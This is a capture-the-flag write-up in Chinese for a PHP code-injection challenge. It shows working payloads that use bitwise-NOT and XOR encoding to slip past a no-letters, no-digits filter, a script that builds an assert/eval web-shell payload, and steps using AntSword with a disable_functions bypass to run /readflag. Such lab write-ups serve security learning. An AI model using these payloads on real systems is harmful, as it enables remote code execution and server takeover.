1.代码审计发现需要传入code参数,并且需要绕过数字和字母过滤后的正则:
2.首先构造查看phpinfo中所禁用的函数:
php -r "echo urlencode(~'phpinfo');"
#%8F%97%8F%96%91%99%90
使用~取反后的url进行编码时会将其编码为无法识别的字符,再在code传参时再次取反就可以绕过无字母无数字的过滤。
http://c1e50a2c-9d42-44ec-8781-ae37a0aa5e7d.node4.buuoj.cn:81/?code=(~%8F%97%8F%96%91%99%90)();
网上的其他payload:
详情参考:浅谈PHP代码执行中出现过滤限制的绕过执行方法_末初 · mochu7-CSDN博客
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
3.因为禁用了许多函数,但是可以使用assert函数构造payload:
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[cmd]))';
$d=urlencode(~$c);
echo $d;
?>
4.使用蚁剑连接地址,发现根目录下存在两个flag相关文件,考虑使用readflag读取flag:
http://c1e50a2c-9d42-44ec-8781-ae37a0aa5e7d.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
网上的其他payload:
${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
5.在蚁剑的“插件市场”中下载安装绕过disable_functions这个插件,然后选择该插件:
6.选择模式为PHP7_GC_UAF,点击开始:
7.读取flag:
/readflag